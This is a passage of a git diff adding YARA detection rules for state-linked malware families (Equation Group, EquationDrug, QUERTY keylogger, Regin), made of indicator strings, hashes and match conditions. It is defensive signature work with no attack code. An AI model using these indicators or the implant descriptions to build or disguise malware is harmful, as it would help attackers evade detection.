+      $s4 = "lsasrv32.dll" fullword ascii
+      /* $s5 = "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" fullword ascii */ /* Modified by Florian Roth */
+      $s6 = "%s %02x %s" fullword ascii
+      $s7 = "VIEWERS" fullword ascii
+      $s8 = "5.2.3790.220 (srv03_gdr.040918-1552)" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d ) and filesize < 250000 and 6 of ($s*)
+}
+
+rule Equation_Kaspersky_FannyWorm {
+   meta:
+      description = "Equation Group Malware - Fanny Worm"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://goo.gl/ivt8EW"
+      date = "2015-02-16"
+      modified = "2023-01-06"
+      hash = "1f0ae54ac3f10d533013f74f48849de4e65817a7"
+      score = 80
+      id = "1b8d1ce6-8926-5aa3-8fba-6a8451d66a7d"
+   strings:
+
+      $s1 = "x:\\fanny.bmp" fullword ascii
+      $s2 = "32.exe" fullword ascii
+      $s3 = "d:\\fanny.bmp" fullword ascii
+
+      $x1 = "c:\\windows\\system32\\kernel32.dll" fullword ascii
+      $x2 = "System\\CurrentControlSet\\Services\\USBSTOR\\Enum" fullword ascii
+      $x3 = "System\\CurrentControlSet\\Services\\PartMgr\\Enum" fullword ascii
+      $x4 = "\\system32\\win32k.sys" wide
+      $x5 = "\\AGENTCPD.DLL" ascii
+      $x6 = "agentcpd.dll" fullword ascii
+      $x7 = "PADupdate.exe" fullword ascii
+      $x8 = "dll_installer.dll" fullword ascii
+      $x9 = "\\restore\\" ascii
+      $x10 = "Q:\\__?__.lnk" fullword ascii
+      $x11 = "Software\\Microsoft\\MSNetMng" fullword ascii
+      $x12 = "\\shelldoc.dll" ascii
+      $x13 = "file size = %d bytes" fullword ascii
+      $x14 = "\\MSAgent" ascii
+      $x15 = "Global\\RPCMutex" fullword ascii
+      $x16 = "Global\\DirectMarketing" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d ) and filesize < 300000 and
+      (
+         ( 2 of ($s*) ) or
+         ( 1 of ($s*) and 6 of ($x*) ) or
+         ( 14 of ($x*) )
+      )
+}
+
+rule Equation_Kaspersky_HDD_reprogramming_module {
+	meta:
+		description = "Equation Group Malware - HDD reprogramming module"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "ff2b50f371eb26f22eb8a2118e9ab0e015081500"
+		id = "09ffe270-39e7-5225-b4a9-1c8d312a09c1"
+	strings:
+		$s0 = "nls_933w.dll" fullword ascii
+
+		$s1 = "BINARY" fullword wide
+		$s2 = "KfAcquireSpinLock" fullword ascii
+		$s3 = "HAL.dll" fullword ascii
+		$s4 = "READ_REGISTER_UCHAR" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300000 and all of ($s*)
+}
+
+rule Equation_Kaspersky_EOP_Package {
+	meta:
+		description = "Equation Group Malware - EoP package and malware launcher"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "2bd1b1f5b4384ce802d5d32d8c8fd3d1dc04b962"
+		id = "2eb97873-a415-57be-a8fb-70ef86a99c9b"
+	strings:
+		$s0 = "abababababab" fullword ascii
+		$s1 = "abcdefghijklmnopq" fullword ascii
+		$s2 = "@STATIC" fullword wide
+		$s3 = "$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" fullword ascii
+		$s4 = "@prkMtx" fullword wide
+		$s5 = "prkMtx" fullword wide
+		$s6 = "cnFormVoidFBC" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100000 and all of ($s*)
+}
+
+rule Equation_Kaspersky_TripleFantasy_Loader {
+	meta:
+		description = "Equation Group Malware - TripleFantasy Loader"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/16"
+		hash = "4ce6e77a11b443cc7cbe439b71bf39a39d3d7fa3"
+		id = "562e7855-f011-5985-91c0-622b2fec32f8"
+	strings:
+		$x1 = "Original Innovations, LLC" fullword wide
+		$x2 = "Moniter Resource Protocol" fullword wide
+		$x3 = "ahlhcib.dll" fullword wide
+
+		$s0 = "hnetcfg.HNetGetSharingServicesPage" fullword ascii
+		$s1 = "hnetcfg.IcfGetOperationalMode" fullword ascii
+		$s2 = "hnetcfg.IcfGetDynamicFwPorts" fullword ascii
+		$s3 = "hnetcfg.HNetFreeFirewallLoggingSettings" fullword ascii
+		$s4 = "hnetcfg.HNetGetShareAndBridgeSettings" fullword ascii
+		$s5 = "hnetcfg.HNetGetFirewallSettingsPage" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50000 and ( all of ($x*) and all of ($s*) )
+}
+
+/* Rule generated from the mentioned keywords */
+
+rule Equation_Kaspersky_SuspiciousString {
+	meta:
+		description = "Equation Group Malware - suspicious string found in sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://goo.gl/ivt8EW"
+		date = "2015/02/17"
+		score = 60
+		id = "a5f203a7-0c50-5658-89f4-44533ed4eef0"
+	strings:
+		$s1 = "i386\\DesertWinterDriver.pdb" fullword
+		$s2 = "Performing UR-specific post-install..."
+		$s3 = "Timeout waiting for the \"canInstallNow\" event from the implant-specific EXE!"
+		$s4 = "STRAITSHOOTER30.exe"
+		$s5 = "standalonegrok_2.1.1.1"
+		$s6 = "c:\\users\\rmgree5\\"
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500000 and all of ($s*)
+}
+
+/* EquationDrug Update 11.03.2015 - http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/ */
+
+rule EquationDrug_NetworkSniffer1 {
+   meta:
+      description = "EquationDrug - Backdoor driven by network sniffer - mstcp32.sys, fat32.sys"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+      date = "2015/03/11"
+      modified = "2023-01-06"
+      hash = "26e787997a338d8111d96c9a4c103cf8ff0201ce"
+      id = "21a500e7-3011-50e6-b685-f4f65d6dee17"
+   strings:
+      $s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+      $s1 = "\\Registry\\User\\CurrentUser\\" wide
+      $s3 = "sys\\mstcp32.dbg" fullword ascii
+      $s7 = "mstcp32.sys" fullword wide
+      $s8 = "p32.sys" fullword ascii
+      $s9 = "\\Device\\%ws_%ws" wide
+      $s10 = "\\DosDevices\\%ws" wide
+      $s11 = "\\Device\\%ws" wide
+   condition:
+      all of them
+}
+
+rule EquationDrug_CompatLayer_UnilayDLL {
+	meta:
+		description = "EquationDrug - Unilay.DLL"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "a3a31937956f161beba8acac35b96cb74241cd0f"
+		id = "32fd31c7-cc44-50e1-8888-b9da59ce587b"
+	strings:
+		$s0 = "unilay.dll" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and $s0
+}
+
+rule EquationDrug_HDDSSD_Op {
+	meta:
+		description = "EquationDrug - HDD/SSD firmware operation - nls_933w.dll"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "ff2b50f371eb26f22eb8a2118e9ab0e015081500"
+		id = "e2698f10-49e8-55da-bddc-e5c887f11bc7"
+	strings:
+		$s0 = "nls_933w.dll" fullword ascii
+	condition:
+		all of them
+}
+
+rule EquationDrug_NetworkSniffer2 {
+	meta:
+		description = "EquationDrug - Network Sniffer - tdip.sys"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "7e3cd36875c0e5ccb076eb74855d627ae8d4627f"
+		id = "afc5ae23-4965-5796-af3b-9e2705aea455"
+	strings:
+		$s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+		$s1 = "IP Transport Driver" fullword wide
+		$s2 = "tdip.sys" fullword wide
+		$s3 = "sys\\tdip.dbg" fullword ascii
+		$s4 = "dip.sys" fullword ascii
+		$s5 = "\\Device\\%ws_%ws" wide
+		$s6 = "\\DosDevices\\%ws" wide
+		$s7 = "\\Device\\%ws" wide
+	condition:
+		all of them
+}
+
+rule EquationDrug_NetworkSniffer3 {
+	meta:
+		description = "EquationDrug - Network Sniffer - tdip.sys"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "14599516381a9646cd978cf962c4f92386371040"
+		id = "c6b1658b-cbc6-535a-a3a2-15ce3cf6e4f6"
+	strings:
+		$s0 = "Corporation. All rights reserved." fullword wide
+		$s1 = "IP Transport Driver" fullword wide
+		$s2 = "tdip.sys" fullword wide
+		$s3 = "tdip.pdb" fullword ascii
+	condition:
+		all of them
+}
+
+rule EquationDrug_VolRec_Driver {
+	meta:
+		description = "EquationDrug - Collector plugin for Volrec - msrstd.sys"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "ee2b504ad502dc3fed62d6483d93d9b1221cdd6c"
+		id = "db4f3f65-bdc4-565d-ad59-25a16ec7c9d2"
+	strings:
+		$s0 = "msrstd.sys" fullword wide
+		$s1 = "msrstd.pdb" fullword ascii
+		$s2 = "msrstd driver" fullword wide
+	condition:
+		all of them
+}
+
+rule EquationDrug_KernelRootkit {
+   meta:
+      description = "EquationDrug - Kernel mode stage 0 and rootkit (Windows 2000 and above) - msndsrv.sys"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+      date = "2015/03/11"
+      modified = "2023-01-06"
+      hash = "597715224249e9fb77dc733b2e4d507f0cc41af6"
+      id = "92491e30-4041-5c8b-8e4e-7bc2b1d3234b"
+   strings:
+      $s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+      $s1 = "Parmsndsrv.dbg" fullword ascii
+      $s2 = "\\Registry\\User\\CurrentUser\\" wide
+      $s3 = "msndsrv.sys" fullword wide
+      $s5 = "\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Control\\Windows" wide
+      $s6 = "\\Device\\%ws_%ws" wide
+      $s7 = "\\DosDevices\\%ws" wide
+      $s9 = "\\Device\\%ws" wide
+   condition:
+      all of them
+}
+
+rule EquationDrug_Keylogger {
+	meta:
+		description = "EquationDrug - Key/clipboard logger driver - msrtvd.sys"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "b93aa17b19575a6e4962d224c5801fb78e9a7bb5"
+		id = "57b6af34-577b-58ec-9a9e-91911c32270b"
+	strings:
+		$s0 = "\\registry\\machine\\software\\Microsoft\\Windows NT\\CurrentVersion" wide
+		$s2 = "\\registry\\machine\\SYSTEM\\ControlSet001\\Control\\Session Manager\\En" wide
+		$s3 = "\\DosDevices\\Gk" wide
+		$s5 = "\\Device\\Gk0" wide
+	condition:
+		all of them
+}
+
+rule EquationDrug_NetworkSniffer4 {
+   meta:
+      description = "EquationDrug - Network-sniffer/patcher - atmdkdrv.sys"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+      date = "2015/03/11"
+      modified = "2023-01-06"
+      hash = "cace40965f8600a24a2457f7792efba3bd84d9ba"
+      id = "12bb1eb3-a14e-5616-bc7c-249c83f97035"
+   strings:
+      $s0 = "Copyright 1999 RAVISENT Technologies Inc." fullword wide
+      $s1 = "\\systemroot\\" ascii
+      $s2 = "RAVISENT Technologies Inc." fullword wide
+      $s3 = "Created by VIONA Development" fullword wide
+      $s4 = "\\Registry\\User\\CurrentUser\\" wide
+      $s5 = "\\device\\harddiskvolume" wide
+      $s7 = "ATMDKDRV.SYS" fullword wide
+      $s8 = "\\Device\\%ws_%ws" wide
+      $s9 = "\\DosDevices\\%ws" wide
+      $s10 = "CineMaster C 1.1 WDM Main Driver" fullword wide
+      $s11 = "\\Device\\%ws" wide
+      $s13 = "CineMaster C 1.1 WDM" fullword wide
+   condition:
+      all of them
+}
+
+rule EquationDrug_PlatformOrchestrator {
+	meta:
+		description = "EquationDrug - Platform orchestrator - mscfg32.dll, svchost32.dll"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "febc4f30786db7804008dc9bc1cebdc26993e240"
+		id = "ce19ed3c-9dd9-5cb0-99fe-c04fde057293"
+	strings:
+		$s0 = "SERVICES.EXE" fullword wide
+		$s1 = "\\command.com" wide
+		$s2 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+		$s3 = "LSASS.EXE" fullword wide
+		$s4 = "Windows Configuration Services" fullword wide
+		$s8 = "unilay.dll" fullword ascii
+	condition:
+		all of them
+}
+
+rule EquationDrug_NetworkSniffer5 {
+   meta:
+      description = "EquationDrug - Network-sniffer/patcher - atmdkdrv.sys"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+      date = "2015/03/11"
+      modified = "2023-01-06"
+      hash = "09399b9bd600d4516db37307a457bc55eedcbd17"
+      id = "9eac2c51-3ad7-5346-a985-39733bc204c2"
+   strings:
+      $s0 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+      $s1 = "\\Registry\\User\\CurrentUser\\" wide
+      $s2 = "atmdkdrv.sys" fullword wide
+      $s4 = "\\Device\\%ws_%ws" wide
+      $s5 = "\\DosDevices\\%ws" wide
+      $s6 = "\\Device\\%ws" wide
+   condition:
+      all of them
+}
+
+rule EquationDrug_FileSystem_Filter {
+	meta:
+		description = "EquationDrug - Filesystem filter driver - volrec.sys, scsi2mgr.sys"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		reference = "http://securelist.com/blog/research/69203/inside-the-equationdrug-espionage-platform/"
+		date = "2015/03/11"
+		hash = "57fa4a1abbf39f4899ea76543ebd3688dcc11e13"
+		id = "7077daf6-3d51-5ff2-bc74-95cb169a7cd2"
+	strings:
+		$s0 = "volrec.sys" fullword wide
+		$s1 = "volrec.pdb" fullword ascii
+		$s2 = "Volume recognizer driver" fullword wide
+	condition:
+		all of them
+}
+
+rule apt_equation_keyword {
+    meta:
+        description = "Rule to detect Equation group's keyword in executable file"
+        last_modified = "2015-09-26"
+        reference = "http://securelist.com/blog/research/68750/equation-the-death-star-of-malware-galaxy/"
+        id = "a7d4eda5-f390-5099-9c46-bf74a878b4f0"
+    strings:
+         $a1 = "Backsnarf_AB25" wide
+         $a2 = "Backsnarf_AB25" ascii
+    condition:
+         uint16(0) == 0x5a4d and 1 of ($a*)
+}
diff --git a/yara-Neo23x0/spy_querty_fiveeyes.yar b/yara-Neo23x0/spy_querty_fiveeyes.yar
new file mode 100644
index 0000000..8bda7e1
--- /dev/null
+++ b/yara-Neo23x0/spy_querty_fiveeyes.yar
@@ -0,0 +1,251 @@
+/* FIVE EYES ------------------------------------------------------------------------------- */
+
+rule FiveEyes_QUERTY_Malwareqwerty_20121 {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20121.xml"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "8263fb58350f3b1d3c4220a602421232d5e40726"
+		id = "bf30bdbb-0153-5ae2-bf42-4bd9e4a2f088"
+	strings:
+		$s0 = "<configFileName>20121_cmdDef.xml</configFileName>" fullword ascii
+		$s1 = "<name>20121.dll</name>" fullword ascii
+		$s2 = "<codebase>\"Reserved for future use.\"</codebase>" fullword ascii
+		$s3 = "<plugin xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceS" ascii
+		$s4 = "<platform type=\"1\">" fullword ascii
+		$s5 = "</plugin>" fullword ascii
+		$s6 = "</pluginConfig>" fullword ascii
+		$s7 = "<pluginConfig>" fullword ascii
+		$s8 = "</platform>" fullword ascii
+		$s9 = "</lpConfig>" fullword ascii
+		$s10 = "<lpConfig>" fullword ascii
+	condition:
+		9 of them
+}
+
+rule FiveEyes_QUERTY_Malwaresig_20123_sys {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20123.sys.bin"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "a0f0087bd1f8234d5e847363d7e15be8a3e6f099"
+		id = "0d0e3642-f5d4-59b2-8e56-a7c999e34775"
+	strings:
+		$s0 = "20123.dll" fullword ascii
+		$s1 = "kbdclass.sys" fullword wide
+		$s2 = "IoFreeMdl" fullword ascii
+		$s3 = "ntoskrnl.exe" fullword ascii
+		$s4 = "KfReleaseSpinLock" fullword ascii
+	condition:
+		all of them
+}
+
+rule FiveEyes_QUERTY_Malwaresig_20123_cmdDef {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20123_cmdDef.xml"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "7b08fc77629f6caaf8cc4bb5f91be6b53e19a3cd"
+		id = "88a29288-9db5-5437-9efe-cdb823a2b928"
+	strings:
+		$s0 = "<shortDescription>Keystroke Collector</shortDescription>" fullword ascii
+		$s1 = "This plugin is the E_Qwerty Kernel Mode driver for logging keys.</description>" fullword ascii
+		$s2 = "<commands/>" fullword ascii
+		$s3 = "</version>" fullword ascii
+		$s4 = "<associatedImplantId>20121</associatedImplantId>" fullword ascii
+		$s5 = "<rightsRequired>System or Administrator (if Administrator, I think the DriverIns" ascii
+		$s6 = "<platforms>Windows NT, Windows 2000, Windows XP (32/64 bit), Windows 2003 (32/64" ascii
+		$s7 = "<projectpath>plugin/Collection</projectpath>" fullword ascii
+		$s8 = "<dllDepend>None</dllDepend>" fullword ascii
+		$s9 = "<minorType>0</minorType>" fullword ascii
+		$s10 = "<pluginname>E_QwertyKM</pluginname>" fullword ascii
+		$s11 = "</comments>" fullword ascii
+		$s12 = "<comments>" fullword ascii
+		$s13 = "<majorType>1</majorType>" fullword ascii
+		$s14 = "<files>None</files>" fullword ascii
+		$s15 = "<poc>Erebus</poc>" fullword ascii
+		$s16 = "</plugin>" fullword ascii
+		$s17 = "<team>None</team>" fullword ascii
+		$s18 = "<?xml-stylesheet type=\"text/xsl\" href=\"../XSLT/pluginHTML.xsl\"?>" fullword ascii
+		$s19 = "<pluginsDepend>U_HookManager v1.0, Kernel Covert Store v1.0</pluginsDepend>" fullword ascii
+		$s20 = "<plugin id=\"20123\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi" ascii
+	condition:
+		14 of them
+}
+
+rule FiveEyes_QUERTY_Malwaresig_20121_dll {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20121.dll.bin"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "89504d91c5539a366e153894c1bc17277116342b"
+		id = "a0dc146c-85fd-55b8-a5e0-bfc1f406507e"
+	strings:
+		$s0 = "WarriorPride\\production2.0\\package\\E_Wzowski" ascii
+		$s1 = "20121.dll" fullword ascii
+	condition:
+		all of them
+}
+rule FiveEyes_QUERTY_Malwareqwerty_20123 {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20123.xml"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "edc7228b2e27df9e7ff9286bddbf4e46adb51ed9"
+		id = "718d80c9-b6bb-5b73-9c17-49e7d6f77210"
+	strings:
+		$s0 = "<!-- edited with XMLSPY v5 rel. 4 U (http://www.xmlspy.com) by TEAM (RENEGADE) -" ascii
+		$s1 = "<configFileName>20123_cmdDef.xml</configFileName>" fullword ascii
+		$s2 = "<name>20123.sys</name>" fullword ascii
+		$s3 = "<plugin xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceS" ascii
+		$s4 = "<codebase>/bin/i686-pc-win32/debug</codebase>" fullword ascii
+		$s5 = "<platform type=\"1\">" fullword ascii
+		$s6 = "</plugin>" fullword ascii
+		$s7 = "</pluginConfig>" fullword ascii
+		$s8 = "<pluginConfig>" fullword ascii
+		$s9 = "</platform>" fullword ascii
+		$s10 = "</lpConfig>" fullword ascii
+		$s11 = "<lpConfig>" fullword ascii
+	condition:
+		9 of them
+}
+
+rule FiveEyes_QUERTY_Malwaresig_20120_dll {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20120.dll.bin"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "6811bfa3b8cda5147440918f83c40237183dbd25"
+		id = "d23ac7bf-3e0c-5b59-a9dc-1ae0a4ae9c02"
+	strings:
+		$s0 = "\\QwLog_%d-%02d-%02d-%02d%02d%02d.txt" wide
+		$s1 = "\\QwLog_%d-%02d-%02d-%02d%02d%02d.xml" wide
+		$s2 = "Failed to send the EQwerty_driverStatusCommand to the implant." fullword ascii
+		$s3 = "- Log Used (number of windows) - %d" fullword wide
+		$s4 = "- Log Limit (number of windows) - %d" fullword wide
+		$s5 = "Process or User Default Language" fullword wide
+		$s6 = "Windows 98/Me, Windows NT 4.0 and later: Vietnamese" fullword wide
+		$s7 = "- Logging of keystrokes is switched ON" fullword wide
+		$s8 = "- Logging of keystrokes is switched OFF" fullword wide
+		$s9 = "Qwerty is currently logging active windows with titles containing the fo" wide
+		$s10 = "Windows 95, Windows NT 4.0 only: Korean (Johab)" fullword wide
+		$s11 = "FAILED to get Qwerty Status" fullword wide
+		$s12 = "- Successfully retrieved Log from Implant." fullword wide
+		$s13 = "- Logging of all Windows is toggled ON" fullword wide
+		$s14 = "- Logging of all Windows is toggled OFF" fullword wide
+		$s15 = "Qwerty FAILED to retrieve window list." fullword wide
+		$s16 = "- UNSUCCESSFUL Log Retrieval from Implant." fullword wide
+		$s17 = "The implant failed to return a valid status" fullword ascii
+		$s18 = "- Log files were NOT generated!" fullword wide
+		$s19 = "Windows 2000/XP: Armenian. This is Unicode only." fullword wide
+		$s20 = "- This machine is using a PS/2 Keyboard - Continue on using QWERTY" fullword wide
+	condition:
+		10 of them
+}
+
+rule FiveEyes_QUERTY_Malwaresig_20120_cmdDef {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20120_cmdDef.xml"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "cda9ceaf0a39d6b8211ce96307302a53dfbd71ea"
+		id = "dfa0693e-4e4c-59c8-9e51-e221aefd8662"
+	strings:
+		$s0 = "This PPC gets the current keystroke log." fullword ascii
+		$s1 = "This command will add the given WindowTitle to the list of Windows to log keys f" ascii
+		$s2 = "This command will remove the WindowTitle corresponding to the given window title" ascii
+		$s3 = "This command will return the current status of the Keyboard Logger (Whether it i" ascii
+		$s4 = "This command Toggles logging of all Keys. If allkeys is toggled all keystrokes w" ascii
+		$s5 = "<definition>Turn logging of all keys on|off</definition>" fullword ascii
+		$s6 = "<name>Get Keystroke Log</name>" fullword ascii
+		$s7 = "<description>Keystroke Logger Lp Plugin</description>" fullword ascii
+		$s8 = "<definition>display help for this function</definition>" fullword ascii
+		$s9 = "This command will switch ON Logging of keys. All keys taht are entered to a acti" ascii
+		$s10 = "Set the log limit (in number of windows)" fullword ascii
+		$s11 = "<example>qwgetlog</example>" fullword ascii
+		$s12 = "<aliasName>qwgetlog</aliasName>" fullword ascii
+		$s13 = "<definition>The title of the Window whose keys you wish to Log once it becomes a" ascii
+		$s14 = "This command will switch OFF Logging of keys. No keystrokes will be captured" fullword ascii
+		$s15 = "<definition>The title of the Window whose keys you no longer whish to log</defin" ascii
+		$s16 = "<command id=\"32\">" fullword ascii
+		$s17 = "<command id=\"3\">" fullword ascii
+		$s18 = "<command id=\"7\">" fullword ascii
+		$s19 = "<command id=\"1\">" fullword ascii
+		$s20 = "<command id=\"4\">" fullword ascii
+	condition:
+		10 of them
+}
+
+rule FiveEyes_QUERTY_Malwareqwerty_20120 {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20120.xml"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "597082f05bfd3225587d480c30f54a7a1326a892"
+		id = "503c71de-1bc5-5690-944c-a60917a4da09"
+	strings:
+		$s0 = "<configFileName>20120_cmdDef.xml</configFileName>" fullword ascii
+		$s1 = "<name>20120.dll</name>" fullword ascii
+		$s2 = "<codebase>\"Reserved for future use.\"</codebase>" fullword ascii
+		$s3 = "<plugin xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceS" ascii
+		$s4 = "<platform type=\"1\">" fullword ascii
+		$s5 = "</plugin>" fullword ascii
+		$s6 = "</pluginConfig>" fullword ascii
+		$s7 = "<pluginConfig>" fullword ascii
+		$s8 = "</platform>" fullword ascii
+		$s9 = "</lpConfig>" fullword ascii
+		$s10 = "<lpConfig>" fullword ascii
+	condition:
+		all of them
+}
+
+rule FiveEyes_QUERTY_Malwaresig_20121_cmdDef {
+	meta:
+		description = "FiveEyes QUERTY Malware - file 20121_cmdDef.xml"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.spiegel.de/media/media-35668.pdf"
+		date = "2015/01/18"
+		hash = "64ac06aa4e8d93ea6063eade7ce9687b1d035907"
+		id = "2deb73f7-372e-5d29-a077-431ab1967d93"
+	strings:
+		$s0 = "<shortDescription>Keystroke Logger Plugin.</shortDescription>" fullword ascii
+		$s1 = "<message>Failed to get File Time</message>" fullword ascii
+		$s2 = "<description>Keystroke Logger Plugin.</description>" fullword ascii
+		$s3 = "<message>Failed to set File Time</message>" fullword ascii
+		$s4 = "</commands>" fullword ascii
+		$s5 = "<commands>" fullword ascii
+		$s6 = "</version>" fullword ascii
+		$s7 = "<associatedImplantId>20120</associatedImplantId>" fullword ascii
+		$s8 = "<message>No Comms. with Driver</message>" fullword ascii
+		$s9 = "</error>" fullword ascii
+		$s10 = "<message>Invalid File Size</message>" fullword ascii
+		$s11 = "<platforms>Windows (User/Win32)</platforms>" fullword ascii
+		$s12 = "<message>File Size Mismatch</message>" fullword ascii
+		$s13 = "<projectpath>plugin/Utility</projectpath>" fullword ascii
+		$s14 = "<pluginsDepend>None</pluginsDepend>" fullword ascii
+		$s15 = "<dllDepend>None</dllDepend>" fullword ascii
+		$s16 = "<pluginname>E_QwertyIM</pluginname>" fullword ascii
+		$s17 = "<rightsRequired>None</rightsRequired>" fullword ascii
+		$s18 = "<minorType>0</minorType>" fullword ascii
+		$s19 = "<code>00001002</code>" fullword ascii
+		$s20 = "<code>00001001</code>" fullword ascii
+	condition:
+		12 of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/spy_regin_fiveeyes.yar b/yara-Neo23x0/spy_regin_fiveeyes.yar
new file mode 100644
index 0000000..21fe15d
--- /dev/null
+++ b/yara-Neo23x0/spy_regin_fiveeyes.yar
@@ -0,0 +1,367 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2014-11-23
+	Identifier: Regin
+
+	Warning: Don't use this rule set without excluding the false positive hashes listed in
+	         the file falsepositive-hashes.txt
+
+*/
+
+/* REGIN ---------------------------------------------------------------------------------- */
+
+rule Regin_APT_KernelDriver_Generic_A {
+	meta:
+		description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
+		author = "@Malwrsignatures - included in APT Scanner THOR"
+		date = "23.11.14"
+		hash1 = "187044596bc1328efa0ed636d8aa4a5c"
+		hash2 = "06665b96e293b23acc80451abb413e50"
+		hash3 = "d240f06e98c8d3e647cbf4d442d79475"
+		id = "4cea1d45-b797-51b2-baa7-e66c8c0206ea"
+	strings:
+		$m0 = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 }
